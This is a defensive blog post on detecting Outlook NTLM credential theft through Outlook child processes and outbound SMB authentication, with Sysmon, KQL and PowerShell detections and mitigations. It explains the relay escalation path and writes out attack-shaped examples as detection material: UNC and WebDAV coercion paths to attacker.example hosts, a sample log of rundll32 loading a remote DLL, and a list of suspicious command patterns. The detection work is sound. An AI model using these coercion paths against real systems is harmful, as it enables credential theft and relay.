Detecting Outlook NTLM Credential Theft via Child Processes and Outbound SMB Auth

Outlook NTLM credential theft is easy to file under patch management: a zero-day lands, admins push a ring deployment, the ticket closes. That framing does not survive contact with what NTLM coercion actually is. This post is about detecting the theft instead: which Outlook child processes and outbound SMB authentications expose it, which events confirm it, and which controls I would put in front of the patch.

If the reporting is right about the impact — Outlook abused to leak Net-NTLMv2 responses — then the bug is the least interesting part. The interesting part is that it used a thirty-year-old authentication protocol as its exfiltration channel, and that channel is still open on most fleets I look at. Patch Outlook this week and you are one coerced \\host\share reference away from the same outcome through a different client.

What the 11 November 2026 reporting actually establishes

Three syndicated pieces, all dated 11 November 2026, describe the same event. That is thin sourcing, so it is worth being precise about what they do and do not say.

What the reports claim: an exploited Outlook flaw that leaks NTLM material

The consistent claims across Cyber Press, GBHackers and TechRepublic are:

Microsoft's November 2026 patch batch includes an Outlook vulnerability.
The vulnerability is being exploited in the wild at the time of publication.
The outcome of the exploitation is theft of NTLM authentication material — Net-NTLMv2 challenge/response data — not code execution on the endpoint.

That last point carries the technical weight. A remote code execution bug in Outlook gets you a shell on one mailbox owner's laptop. A credential-leak bug in Outlook gets you a network identity you can replay against other hosts on the same network. Different blast radius, different detection surface.

Where the reporting diverges: 1,093 vs 1,235 patched flaws

Cyber Press says the batch contains "over 1,093" fixes. TechRepublic says "1,235". Same batch, same publication day, a 142-flaw gap. At least one of them is counting something different. My guess is that one number includes Edge/Chromium CVEs, third-party driver CVEs from the update guide, or a running total, while the other counts Microsoft-owned products only. That is a guess, not a finding.

Practical takeaway: do not repeat either number to leadership as fact. What is verified is that a batch shipped and that one Outlook issue in it is reported as exploited.

What the sources leave out: no CVE ID, no affected build range, no root cause

None of the three pieces gives a CVE identifier, an affected Outlook build range, a Channel/Version pair, an attack vector description, or a link to a Microsoft advisory. Nothing on whether the trigger is a click, a render, an auto-resolve, or a specific mail format.

I will not invent those details, and your incident ticket should not either. Write down "Outlook credential-leak issue, reported exploited, CVE pending" and check the Microsoft Security Update Guide for the authoritative record. If someone asks for the CVE during an executive briefing, "not yet assigned publicly" is a complete answer.

⚠️

Do not build detection content against a guessed CVE or a guessed build number. A rule keyed to the wrong version range gives you a false sense of coverage and is worse than no rule, because it stops you from looking.

Why captured NTLM material is worth more than remote code execution

The "credential theft instead of RCE" line reads like a severity downgrade to a lot of people. It is not one.

Net-NTLMv2 is a relay primitive, not just a hash to crack offline

What leaks during a coerced authentication attempt is not the account's NT hash. It is a challenge/response pair: the server sends an 8-byte challenge, the client derives a response using the user's NT hash keyed on that challenge, and the response comes back. You cannot pass-the-hash with it, because it is bound to that challenge.

Two things you can do:

Crack it offline. Net-NTLMv2 cracking is slow relative to NTLMv1 but entirely feasible for weak or reused passwords, especially with GPU rigs. A seasonal-password-plus-digit pattern falls in hours.
Relay it. Keep the challenge in play by opening your own session to a third host that accepts NTLM without protection, then forward the response while the challenge is still valid. No cracking required.

Option 2 is the one defenders underrate, and it is why "we have strong passwords" is not a mitigation for this class of bug. Relay does not care about password entropy.

The privilege ladder: user hash → relay to SMB → machine account → directory

The escalation path is well-documented and boring, which is exactly what makes it dangerous:

Step	What the attacker holds	What it buys
1	One Net-NTLMv2 response	Offline crack candidate, or a relay token
2	Successful relay to an SMB host the user can reach	Code execution as that user on that host
3	Code execution on a host where a machine account authenticates	Coerce the machine account and relay again
4	Machine account relay to a DC without LDAP signing / channel binding	Directory-level control

Every hop needs a target that accepts NTLM and does not enforce integrity on the authentication. SMB signing kills hop 2 against SMB. LDAP signing and channel binding kill hop 4. Hold onto that when we get to the mitigations — most of those controls target the ladder, not Outlook.

Why Outlook is a high-value NTLM coercion surface

Outlook sits in an unusual spot: it renders rich content by default, resolves references a browser would sandbox, hands off to Win32 code paths rather than a renderer sandbox, and runs in a session that already has the user's Kerberos tickets and NTLM credentials cached.

Ask a modern Chromium-based browser to fetch \\server\share or a WebDAV path and it will not quietly authenticate with the logged-on user's credentials. Outlook has historically been less conservative, and its handlers (rundll32, cmd, WebClient via the @80 syntax) can end up starting a machine-to-machine auth attempt on the user's behalf. That is the coercion primitive: the mail client is a program that will authenticate to a network path a stranger chose.

Reconstructing the Outlook NTLM coercion path

Reconstruction from the reported impact plus NTLM mechanics. Only steps 1–3 are supported by the reporting; step 4 is my inference about how the leaked material gets used.

Step 1: hostile mail arrives, from a stranger or a compromised trusted sender

Either the attacker sends mail directly (external sender, no prior relationship), or they take over a mailbox the recipient already trusts and reply into an existing thread. The second variant defeats "mark external senders", so treat that control as partial.

Step 2: the client resolves an attacker-chosen UNC or WebDAV path

The message contains a reference that resolves to attacker-chosen infrastructure: a UNC path such as \\attacker.example\share\file.lnk, a WebDAV path using the \\host@80\path form, or a linked object or attachment that makes the client fetch from that path. Whether resolution needs a click or happens during render is one of the details the public sources do not cover.

The WebDAV variant deserves its own line because it travels over TCP 80/443 — an egress-deny on 445 does not touch it. That HTTP coercion path only works if the WebClient service is running, which is a control you genuinely own.

Step 3: the NTLM handshake leaks a Net-NTLMv2 response to attacker infrastructure

The client opens SMB (or WebDAV/HTTP with NTLM) to the attacker's host. The attacker's server issues an NTLM challenge. The client answers with a Net-NTLMv2 response carrying the username, domain, workstation name, and the challenge-keyed response. The attacker logs it. On the endpoint nothing visibly fails — there may be no user-facing error at all, which is what keeps this quiet.

Step 4: the attacker relays it to an internal host or cracks it offline

Inference, not documented for this specific bug. Relay requires network reachability to an internal host that accepts NTLM. That usually means the attacker already has a foothold: a VPN, a compromised edge device, a beachhead host. The Outlook leak is the credential-gathering step inside an intrusion, not typically the entry point.

The window is short. The challenge/response is only valid while the relay target's challenge is accepted, so relay tooling has to work in seconds against a pre-selected target. Useful for hunting: near-simultaneous inbound NTLM on two different hosts, for the same user.

Detection engineering: anomalous Outlook child processes

Build the baseline first: what OUTLOOK.EXE legitimately spawns on a managed Windows fleet

Do not write the rule until you know the answer for your fleet. A normal managed Windows image produces a small, boring set in my experience:

nothing at all for most users, most days
OUTLOOK.EXE → splwow64.exe on 32-bit Outlook with a 64-bit print driver
OUTLOOK.EXE → rundll32.exe for a small set of legacy add-ins
OUTLOOK.EXE → default browser via ShellExecute when a link is clicked

Anything else — cmd.exe, powershell.exe, net.exe, nltest.exe, certutil.exe, mshta.exe — needs an owner. Query for it once Sysmon is deployed:

// Defender XDR / Sentinel, Sysmon table name varies by connector
DeviceProcessEvents
| where InitiatingProcessFileName =~ "OUTLOOK.EXE"
| summarize count() by FileName, ProcessCommandLine
| order by count_ asc

The low-count tail is your review list. If you see rows with count_ == 1 and a UNC path in the command line, that is not a tuning problem.

Sysmon configuration for Outlook parent-child process visibility

A tight include-filter on ParentImage costs almost nothing in volume:

<Sysmon schemaversion="4.90">
  <EventFiltering>
    <ProcessCreate onmatch="include">
      <Rule groupRelation="or">
        <ParentImage condition="begin with">C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE</ParentImage>
        <ParentImage condition="begin with">C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE</ParentImage>
        <ParentImage condition="begin with">C:\Program Files\WindowsApps\Microsoft.OutlookForWindows</ParentImage>
      </Rule>
    </ProcessCreate>
  </EventFiltering>
</Sysmon>

Two things I have learned operating this:

condition="is" will silently miss you. Case, trailing whitespace, and the (x86) versus 64-bit path difference break exact matches across a mixed fleet. Use begin with.
The new Outlook for Windows ships as an MSIX under WindowsApps with a versioned folder. begin with is the only practical way to cover it without editing the config every patch cycle.

Include ProcessCreate only. You do not need ProcessAccess here, and enabling it broadens collection significantly. If you want the full command line, check CommandLine length on your sample events — a remote module path in rundll32 is useless if the field is truncated.

Command lines that signal network path resolution instead of normal mail work

These are the patterns I would alert on, ordered by how much explaining they require from the person who triggered them:

\\<host>\<share> appearing anywhere in a child of OUTLOOK.EXE
\\<host>@80\ or \\<host>@443\ — WebDAV coercion syntax
net use \\<host>\<share> or net view \\<host>
nltest /dsgetdc: spawned from Outlook — no legitimate mail workflow does this
rundll32.exe with a first argument that is a UNC path (round-tripping a remote module)
cmd /c copy where the source is a UNC path
certutil -urlcache with a remote path

net use and nltest from OUTLOOK.EXE are the high-confidence ones. rundll32 with a remote module path is a genuine technique, but it also shows up in badly-written line-of-business add-ins, so it needs context.

What the resulting Sysmon Event ID 1 record looks like

Synthetic, but shaped exactly like a real Sysmon Event ID 1, with reserved-name infrastructure:

Process Create:
RuleName: -
UtcTime: 2026-11-11 09:14:22.371
ProcessGuid: {a4f1c1d0-1b2e-66f1-1a00-000000004000}
ProcessId: 7312
Image: C:\Windows\System32\rundll32.exe
CommandLine: rundll32.exe \\sync.attacker.example\pub\update.dll,DllMain
CurrentDirectory: C:\Program Files\Microsoft Office\root\Office16\
User: CORP\j.doe
IntegrityLevel: Medium
ParentImage: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
ParentCommandLine: "C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE"
Hashes: SHA256=0000... (placeholder)

Reading it in order: ParentImage is Outlook (rule fired), CommandLine holds a UNC path (network resolution), the module lives on a host outside the estate (external egress), and IntegrityLevel is Medium (no elevation attempt). Those four fields together are enough to escalate without a second data source.

Detection engineering: outbound SMB authentication from workstations

This is the detection I trust more than any Outlook rule, because it constrains the attacker rather than describing their tooling.

Workstations should almost never originate SMB on 445: a PowerShell sweep

A workstation initiating SMB to an internet-routable address is either misconfiguration or exfiltration. There is no third option worth considering. Sweep for it:

Get-NetTCPConnection -RemotePort 445 -State Established -ErrorAction SilentlyContinue |
  Select-Object LocalAddress, RemoteAddress, OwningProcess,
    @{n='Process';e={(Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue).ProcessName}}

On a healthy managed Windows 11 endpoint the expected result is an empty table — the command returns nothing and you move on. On a lab host with a mapped drive to a file server you get one row pointing at an RFC1918 address, which is legitimate. The shape you are hunting is the one with a public RemoteAddress.

Repeat for WebDAV, since an egress-deny on 445 does not cover it:

Get-NetTCPConnection -State Established -ErrorAction SilentlyContinue |
  Where-Object { $_.RemoteAddress -notmatch '^(10\.|192\.168\.|172\.(1[6-9]|2\d|3[01])\.|127\.|::1)' } |
  Select-Object RemoteAddress, RemotePort, OwningProcess

At fleet scale you want this as a log query, not a script — collect NetworkConnect from Sysmon, or use Defender's DeviceNetworkEvents filtered on RemotePort == 445 with an Office binary as the initiating process.

Reading the target side: 4624 logon type 3, 4776 validation, and NTLM auditing 8002/8003/8004

The endpoint tells you a connection happened. The target tells you whether an authentication succeeded, which is the difference between an attempt and a compromise.

4624, Logon Type 3 on the relay target: a network logon. Filter AuthenticationPackageName = NTLM and read WorkstationName and IpAddress. A workstation authenticating to a server it has no business talking to, at 02:00, is the signal.
4776 on the DC: "The computer attempted to validate the credentials for an account." This is the NTLM validation event. It fires only for domain accounts — local account auth does not appear here, which is a coverage hole worth remembering.
Microsoft-Windows-NTLM/Operational, 8001–8004: policy-driven block and audit records. In practice you enable the policy in audit mode first (Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers → Audit all, registry HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\RestrictSendingNTLMTraffic = 1), and 8002 gives you the outgoing-auth inventory. 8003/8004 cover the server-side block and audit. The exact event-to-direction mapping has shifted between builds — verify on your own hosts rather than trusting a blog table, mine included.

The audit-mode phase is not optional. Turn NTLM auditing on for two weeks, look at 8002 volume, and you will find the printers and the ancient MFP scan-to-share account that would otherwise page you at 03:00 the night you flip to deny.

Where this detection breaks: printers, NAS appliances, and line-of-business apps

The false-positive list is real, and it is why blanket "alert on 445" rules get muted:

MFPs scanning to a share, with embedded Windows CE-ish stacks that only speak SMB1/NTLM
NAS appliances mounting shares for backup
Line-of-business clients (accounting, CAD vaulting, lab instruments) that mount a share at login
Legacy admin tooling: psexec, net use in login scripts, WMI-adjacent scripts

The fix is not to whitelist these away. Build an allowlist of (source subnet → destination host:445) pairs from 30 days of real traffic, alert on deviations, and separately alert unconditionally on any 445 to a non-RFC1918 address. That last rule has no legitimate use case and no false positives worth discussing.

Comparing detection signal, coverage, and false-positive cost

Signal	Catches	Blind spots	FP cost
Outbound 445 to public IP	Direct hash exfil over SMB	WebDAV/HTTP coercion (80/443)	Very low
Outlook child process with UNC	Exploit variants that spawn	In-process resolution, no spawn	Low–medium
4624 type 3 + NTLM on server	Successful relay landing	Needs target log shipping	Medium
4776 on DC	Domain-account NTLM validation	Local accounts invisible	Medium
NTLM 8002 audit	Full outgoing NTLM inventory	Needs policy + GPO rollout	High during baseline
WebClient service activity	HTTP coercion path	Silent if WebClient disabled	Low

The first row is the one I would ship on day one.

What I would tune first, and what I would not ship

The ranking: outbound SMB from a workstation beats any Outlook child-process rule

My order:

Any TCP 445 egress from a workstation subnet to a non-RFC1918 address. Zero legitimate use, near-zero FP, catches the exfil step no matter which client did the coercing.
First-seen outbound NTLM from a host (via 8002 audit data). Catches lateral movement and relay attempts across the estate, not just this bug.
4624 type 3 NTLM on hosts that normally only see Kerberos. High value on modern fleets where NTLM is rare by design.
Outlook child process with a UNC path in the command line. Specific and useful, but a narrower net.
Bare "Outlook spawned a process" alerting. Do not ship this.

Why generic 'Outlook spawned a process' alerting burns analyst trust within a week

Outlook spawns splwow64.exe when someone prints an email with a PDF attached. It spawns browsers on link clicks. It spawns add-in helpers. On a 5,000-seat fleet that is hundreds of events a day, an analyst suppresses the rule by Wednesday, and the one real hit lands in the suppressed pile.

The fix is boring: alert on the property that makes it malicious — a network path, an external host, a rare parent-child pair — not on the parent alone. If you cannot name the property, you do not have a detection, you have a log line.

My position: the Outlook patch closes the bug, not the incident

Patch installation closes this bug. The coercion primitive stays open, and the reporting itself points at the primitive: the impact is NTLM credential theft, which means the enterprise was relying on a protocol that hands reusable authentication material to whoever asks for it.

My position: patching Outlook is mandatory and insufficient. If the only control you deploy in response to this report is a ring deployment, you patched the symptom and left the mechanism intact for the next client-side coercion bug. There will be one, because coercion is an architectural property of NTLM, not a coding mistake in one mail client.

Mitigations that outrank the Outlook patch

Block outbound TCP 445 and require SMB client signing

Block outbound 445 from endpoints. This breaks file shares for anyone still mounting them directly — handle it with a scoped exception for your file server subnets rather than dropping the rule:

## Deny SMB egress from endpoints (scope exceptions to file server ranges)
New-NetFirewallRule -DisplayName "Block outbound SMB 445" `
  -Direction Outbound -Protocol TCP -RemotePort 445 `
  -Action Block -Profile Domain,Private,Public -Enabled True

Then require signing client-side so a relay landing on an unsigned server fails:

Get-SmbClientConfiguration | Select-Object RequireSecuritySignature, EnableSecuritySignature
Set-SmbClientConfiguration -RequireSecuritySignature $true

Microsoft has been moving this default: Windows 11 24H2 and Windows Server 2025 ship with SMB signing enforced. On older fleets you are the one who has to set it, and the Get-SmbClientConfiguration output above is where you confirm it took effect instead of assuming the GPO applied.

SMB signing, Extended Protection, and channel binding on the relay target

Signing stops SMB→SMB relay. It does not stop relay to LDAP or HTTP — different protocol boundary, different controls:

Relay destination	Control that stops it
SMB	SMB signing required
LDAP / LDAPS	LDAP signing + channel binding
HTTP (AD CS, Exchange)	Extended Protection for Authentication + channel binding
MSSQL	EPA / force encryption

Enable SMB signing everywhere and call the class solved, and you have covered one of four rows. The relay target matters more than the source.

Reducing NTLM across the estate and what it costs operationally

The real fix is to make NTLM stop answering. In order of aggression:

Audit: RestrictSendingNTLMTraffic = 1 (Audit all). Collect 8002 for two weeks.
Deny outbound: RestrictSendingNTLMTraffic = 2, with ClientAllowedNTLMServers populated from the audit results.
Deny inbound on servers that should be Kerberos-only.

The cost is honest, so I will not pretend otherwise: every MFP, NAS, and appliance that only speaks NTLM turns into a ticket. On a well-managed Windows-only estate that is a quarter of work. With industrial or medical devices in the mix it can be a multi-year program with permanent exceptions. Still the right direction — the alternative is accepting that any user who opens the wrong email hands over a relay-usable credential. The exceptions list is the compromise; the default should be deny.

ASR rules, insecure guest logon blocking, and disabling WebClient

## Block executables/content launched from mail clients
Add-MpPreference -AttackSurfaceReductionRules_Ids Be9BA2D9-53EA-4CDC-84E5-9B1EEEE46550 `
  -AttackSurfaceReductionRules_Actions Enabled

## Disable insecure guest logons (blocks anonymous SMB to attacker hosts)
Set-SmbClientConfiguration -EnableInsecureGuestLogons $false

Verify both GUIDs and cmdlet parameters against Microsoft's ASR reference before mass deployment — ASR rule IDs are stable, but parameter names shift between Defender platform versions. Note what the first rule does not do: it blocks executable content from email clients. It does not stop Outlook from authenticating to a path. Pair it with disabling the WebClient service where WebDAV is not needed:

Stop-Service WebClient -Force
Set-Service WebClient -StartupType Disabled

Killing WebClient removes the HTTP-based coercion channel entirely. Highest value for lowest cost in this whole post, and it is a change you fully control.

Mail-flow controls are a speed bump, not a fix

External-sender banners, attachment type blocking, and Safe Links are worth having. They are also defeated by a compromised trusted sender replying into an existing thread, which is both a common pattern and the one your users are least suspicious of.

Treat mail-flow policy as latency, not prevention. It buys the minutes between delivery and click, which is genuinely valuable for a recall. It will not stop a determined sender with a valid mailbox.

When the Net-NTLMv2 response has already left the network

Treat the account as compromised: session revocation, password reset, machine account rotation

A leaked Net-NTLMv2 response is a credential exposure. The password may not have been cracked yet, but relay does not require cracking, so "we'll monitor it" is not a response.

Revoke sessions and refresh tokens for the account; a password reset alone leaves existing tokens alive.
Reset the password, and check whether it was weak — if it was, assume offline cracking succeeded and widen the scope.
Rotate the machine account password if code execution landed on a host where that machine account authenticated. A machine account is a credential too, and in practice its password does not rotate on a human schedule.
Collect persistence evidence before you reset, or you will lock yourself out of it.

Hunt backwards 24–72 hours for relay evidence

The exfil and the relay sit close together in time. Query 4624 type 3 with NTLM on internal hosts for the 72 hours before detection, and look for:

the same username authenticating to two different internal hosts within seconds
a WorkstationName that does not match the IpAddress the logon arrived from
IpAddress values belonging to VPN pools, edge appliances, or hosts that should not be initiating SMB
4776 volume spikes for one account shortly after mail delivery to that user

That last correlation — mail delivery timestamp to the target mailbox, then NTLM validation activity for the same user — is the highest-fidelity hunt in this scenario. If mail logs and DC logs land in the same SIEM, write that query today.

What I confirmed and what I did not test

Confirmed, inferred, and untested: separating the reporting from NTLM mechanics

Confirmed from the reporting (11 November 2026): Microsoft's November 2026 batch includes an Outlook issue; it is reported as exploited in the wild; the reported impact is NTLM credential/hash theft rather than code execution. The two syndicated flaw counts disagree (1,093 vs 1,235) and neither is verified.

Inferred from documented NTLM behaviour: the relay ladder, the challenge/response mechanics, the WebDAV coercion path requiring the WebClient service, and why SMB signing does not stop LDAP or HTTP relay. These are properties of the protocol family, not of this bug — which is exactly why the detections above should hold after the CVE details are published.

Not tested by me: I have not run this exploit. No sample, no affected build range, no live tenant to validate against. The Sysmon event and PowerShell output above are representative records showing field shape, not captures from an incident. Verify the NTLM auditing event-to-direction mapping for 8001–8004 on your own builds before writing policy around it. And whether the trigger needs a click or fires on render is unknown from the public sources — assume click-required for user comms, and assume render-triggered for detection coverage.

If you take one thing from this: instrument the outbound path first, patch second, and keep the Outlook child-process rule narrow enough that it still means something when it fires.

Why patching Outlook does not close NTLM credential theft